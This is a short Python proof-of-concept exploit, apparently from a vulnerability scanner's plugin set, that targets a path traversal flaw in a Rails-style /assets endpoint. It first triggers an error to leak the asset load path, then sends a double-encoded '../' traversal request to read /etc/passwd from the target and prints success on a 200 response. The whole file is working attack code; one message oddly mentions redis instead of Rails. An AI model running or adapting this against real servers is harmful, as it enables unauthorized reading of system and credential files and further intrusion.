#!/usr/bin/env python
#-*- coding: utf-8 -*-

import requests
import re
import sys
import argparse
from json_parse import Jsonparse


headers = {
	"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36",
}

class raile(object):
	def __init__(self,ip,port,level):
		self.ip = ip
		self.port = port
		self.level = level

	def run(self):
		register_url = 'http://'+self.ip+':'+str(self.port)+'/assets/file:%2f%2f/etc/passwd'
		
		try:
			r1 = requests.get(url = register_url, headers = headers, timeout = self.level, verify=False)
			#print(r1.url)
		except Exception as e:
				print(e)
				exit(-1)

		catalog = ''
		re_result = re.findall(r'/etc/passwd is no longer under a load path:(.+?),', str(r1.content))
		if len(re_result) > 0:
			re_result = re_result[0].replace(" ","")
		else:
			exit(-1)
		#print(re_result)
		if len(re_result):
			catalog = re_result
			if catalog:
				print(catalog)
			leak_url = 'http://'+self.ip+':'+str(self.port)+'/assets/file:%2f%2f'+ catalog+'/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd'
			r2 = requests.get(url = leak_url,headers = headers, timeout = self.level, verify=False)
			print(r2.status_code)
			if r2.status_code == 200:
				print ('success OK')
				exit(233)
		else:
			print('NO VUL in redis')
			exit(1)

if __name__ == '__main__':
	jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
	jsonobj = Jsonparse(jsonfile)
	jsondata = jsonobj.parse()
	targetip = sys.argv[2]
	timeout = jsondata['timeout2']
	port = sys.argv[3]
	obj = raile(targetip, port, timeout)
	obj.run()